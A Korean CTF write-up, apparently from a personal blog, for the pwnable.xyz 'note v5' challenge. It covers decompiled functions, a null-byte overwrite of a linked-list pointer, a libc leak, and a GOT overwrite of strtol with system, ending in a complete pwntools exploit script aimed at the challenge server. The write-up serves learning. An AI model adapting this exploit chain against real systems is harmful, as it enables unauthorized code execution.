Pwnstar
pwnable.xyz note v5 본문
드디어 마지막 문제다. 근데 마지막 문제치고는 좀 많이 쉬웠음.
PIE랑 relro가 안걸려있다.
main
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
__int64 *v3; // rbx
int i; // ebp
__int64 *v5; // r12
signed int v6; // eax
__int64 v7; // [rsp+0h] [rbp-48h]
unsigned __int64 v8; // [rsp+28h] [rbp-20h]
v8 = __readfsqword(0x28u);
setup();
puts("====== Welcome to notes v5 ======");
puts("Here is your favorite note taking, menu driven pwn #0\n");
while ( 1 )
{
_printf_chk(1LL, "Menu:\n 1. Make note.\n 2. Read note.\n 3. Edit note.\n 4. Exit.\n> ");
v3 = &v7;
for ( i = 0; ; ++i )
{
v5 = v3;
if ( (unsigned int)read(0, v3, 1uLL) == -1 )
break;
v3 = (__int64 *)((char *)v3 + 1);
if ( *(_BYTE *)v5 == 10 || i == 13 )
break;
}
*(_BYTE *)v5 = 0;
v6 = strtol((const char *)&v7, 0LL, 10);
if ( v6 == 2 )
{
read_note();
}
else if ( v6 <= 2 )
{
if ( v6 == 1 )
make_note();
}
else if ( v6 == 3 )
{
edit_note();
}
else if ( v6 == 4 )
{
puts("Bye bye o/");
exit(0);
}
}
}
다른 노트 문제들과 크게 다른 것은 없음. free하는 부분이 없는 것 빼고는
make_note
void __cdecl make_note()
{
_QWORD *v0; // rax
__int64 v1; // rdx
__int64 v2; // rcx
_BYTE *v3; // rbx
int v4; // ebp
int v5; // er12
v0 = malloc(0x40uLL);
v1 = head;
v2 = head;
if ( head )
{
while ( *(_QWORD *)(v2 + 56) )
v2 = *(_QWORD *)(v2 + 56);
v0[1] = (signed int)(*(unsigned __int64 *)(v2 + 8) + 1);
while ( *(_QWORD *)(v1 + 56) )
v1 = *(_QWORD *)(v1 + 56);
*(_QWORD *)(v1 + 56) = v0;
}
else
{
v0[1] = 0LL;
head = (__int64)v0;
}
*v0 = 40LL;
v3 = v0 + 2;
v4 = 0;
_printf_chk(1LL, "Input note: ");
v5 = *((_QWORD *)v3 - 2);
if ( v5 >= 0 )
{
while ( (unsigned int)read(0, v3, 1uLL) != -1 && *v3 != 10 && v5 != v4 )
{
++v4;
++v3;
if ( v5 < v4 )
goto LABEL_16;
}
*v3 = 0;
}
LABEL_16:
_printf_chk(1LL, "\n");
}
문제풀면서 구조체를 안만들어 놨는데, 그림으로 설명해보자. 0x40만큼 할당을 받고
요로케 생겼다.
make_note에서 바로 취약점이 발생하는데, data를 0x28바이트만큼 꽉 채워서 넣어주면 nextchunk의 주소 하위 1바이트가 NULL바이트로 덮이게 된다.
그러면 첫번쨰 chunk 주소 -0x10의 위치를 가리키게 되는데, 이 점을 이용해서 다른 주소로 점프할 수 있음.
read_note
void __cdecl read_note()
{
__int64 *v0; // rbx
int i; // ebp
__int64 *v2; // r12
int v3; // ebx
__int64 v4; // rdx
__int64 v5; // [rsp+0h] [rbp-48h]
unsigned __int64 v6; // [rsp+28h] [rbp-20h]
v6 = __readfsqword(0x28u);
if ( head )
{
_printf_chk(1LL, "Note id: ");
v0 = &v5;
for ( i = 0; ; ++i )
{
v2 = v0;
if ( (unsigned int)read(0, v0, 1uLL) == -1 )
break;
v0 = (__int64 *)((char *)v0 + 1);
if ( *(_BYTE *)v2 == 10 || i == 13 )
break;
}
*(_BYTE *)v2 = 0;
v3 = strtol((const char *)&v5, 0LL, 10);
_printf_chk(1LL, "\n");
v4 = head;
do
{
if ( v3 == *(_DWORD *)(v4 + 8) )
{
_printf_chk(1LL, "Your note: %s\n");
return;
}
v4 = *(_QWORD *)(v4 + 56);
}
while ( v4 );
puts("ERROR: Note not found.");
}
else
{
puts("ERROR: You need to make a note first.");
}
}
인덱스를 입력받고, next chunk로 계속 이동하면서 해당 인덱스의 주소 값을 출력해줌. libc leak을 하는데에 씀
edit_note
void __cdecl edit_note()
{
__int64 *v0; // rbx
int i; // ebp
__int64 *v2; // r12
int v3; // ebp
__int64 v4; // rbx
__int64 v5; // rax
_BYTE *v6; // rbx
int v7; // er12
int v8; // ebp
__int64 v9; // [rsp+0h] [rbp-48h]
unsigned __int64 v10; // [rsp+28h] [rbp-20h]
v10 = __readfsqword(0x28u);
if ( head )
{
_printf_chk(1LL, "Note id: ");
v0 = &v9;
for ( i = 0; ; ++i )
{
v2 = v0;
if ( (unsigned int)read(0, v0, 1uLL) == -1 )
break;
v0 = (__int64 *)((char *)v0 + 1);
if ( *(_BYTE *)v2 == 10 || i == 13 )
break;
}
*(_BYTE *)v2 = 0;
v3 = strtol((const char *)&v9, 0LL, 10);
_printf_chk(1LL, 4198083LL);
v4 = head;
while ( v3 != *(_DWORD *)(v4 + 8) )
{
v4 = *(_QWORD *)(v4 + 56);
if ( !v4 )
{
puts("ERROR: Note not found.");
return;
}
}
_printf_chk(1LL, "New note: ");
v5 = *(_QWORD *)v4;
v6 = (_BYTE *)(v4 + 16);
v7 = v5;
if ( (signed int)v5 >= 0 )
{
v8 = 0;
while ( (unsigned int)read(0, v6, 1uLL) != -1 && *v6 != 10 && v7 != v8 )
{
++v8;
++v6;
if ( v7 < v8 )
goto LABEL_17;
}
*v6 = 0;
}
LABEL_17:
_printf_chk(1LL, 4198083LL);
}
else
{
puts("ERROR: You need to make a note first.");
}
}
마찬가지로 인덱스를 입력받고 next chunk로 이동하면서 해당 인덱스에 값을 덮어쓸 수 있음.
libc leak을 하는 과정은 이렇게 된다.
- note를 두개 생성
- 0번 note를 수정해서 0x28바이트만큼 입력받아 next chunk주소를 0번째 note 주소의 -0x10으로 만들어줌.
- 위의 과정을 거치면
0번째 note의 다음 note는 사이즈가 0, index가 0x51인 노트가 됨. 해당 노트의 +0x38의 위치에 다음 노트의 위치가 오므로 이 위치에 libc leak을 할만한 주소를 넣어준다.
처음에는
이 주소로 libc leak을 하려고 진행했음 그런데 제공해주는 libc파일에서 해당 주소의 offset을 못구해서 다른 주소로 leak을 해주려고 찾아보다가
여기가 더 적합할 것 같아서 여기로 진행했다.
libc leak을 한 이후에는 같은 과정으로 덮어줄 함수를 찾아주면 된다.
덮어줄 함수는 정말 많은데, libc도 주어졌겠다, oneshot gadget으로 덮어주려고 exit함수를 덮어봤는데, oneshot은 안먹힌다.
그래서 system("cat flag")나 system("/bin/sh")를 실행시켜줄만한 적합한 함수가 뭐가 있을까 찾아보다가 찾은게 strtol함수였다. 첫번째 인자를 내가 원하는 입력으로 줄 수 있어서 이걸로 가능할 것 같았다.
주의해야할 점이라면, 입력할 위치 - 0x10의 위치에 size값과 index를 조금 신경써 줘야하는데, size에는 어차피 적당히 큰 값이 들어가 있지만 index에는 다른 libc의 주소가 들어가 있다.
빨간 테두리가 있는 부분으로 index를 잡아줬다고 이 주소를 index로 입력할 필요가 없다 어차피 index를 검사할 때 DWORD로 진행하기 때문에 하위 4바이트를 입력해주면 된다.
ex.py
from pwn import*
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30047)
script = '''
b*0x0000000000400DC1
b*0x0000000000400D29
'''
#gdb.attach(p, script)
def make(note):
p.sendlineafter("> ", "1")
p.sendlineafter(": ", note)
def show(idx):
p.sendlineafter("> ", "2")
p.sendlineafter(": ", str(idx))
def edit(idx, note):
p.sendlineafter("> ", "3")
p.sendlineafter(": ", str(idx))
p.sendlineafter(": ", note)
puts_got = 0x6014a0
make("A"*0x28)
make("B"*0x28)
#leak libc
edit(0, "D"*0x18 + p64(0x6015b8) + "D"*0x8)
show(0xa000000)
p.recvuntil("note: ")
libc = u64(p.recv(6) + "\x00\x00")
libc_base = libc - 0x395770
sig = libc_base + 0x341a0
#sig = libc_base + 0x353d0 #local
system = libc_base + 0x404f0
#system = libc_base + 0x453a0 #local
log.info("leak = " + hex(libc))
log.info("libc base = " + hex(libc_base))
log.info("bsd sig = " + hex(sig))
log.info("system = " + hex(system))
log.info("index = " + hex(sig & 0xffffffff))
index = sig & 0xffffffff
edit(0, "A"*0x18 + p64(0x6014c0) + "A"*0x8)
sleep(1)
edit(index, p64(0) + p64(system))
p.sendlineafter("> ", "cat flag")
p.interactive()
pwnable.xyz 올클!!!
끗!!!
'Wargame > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz adultvm3 (0) | 2020.12.22 |
---|---|
pwnable.xyz adultvm2 (0) | 2020.12.22 |
pwnable.xyz adultvm (0) | 2020.12.21 |
pwnable.xyz note v4 (0) | 2020.12.20 |
pwnable.xyz fishing (0) | 2020.12.19 |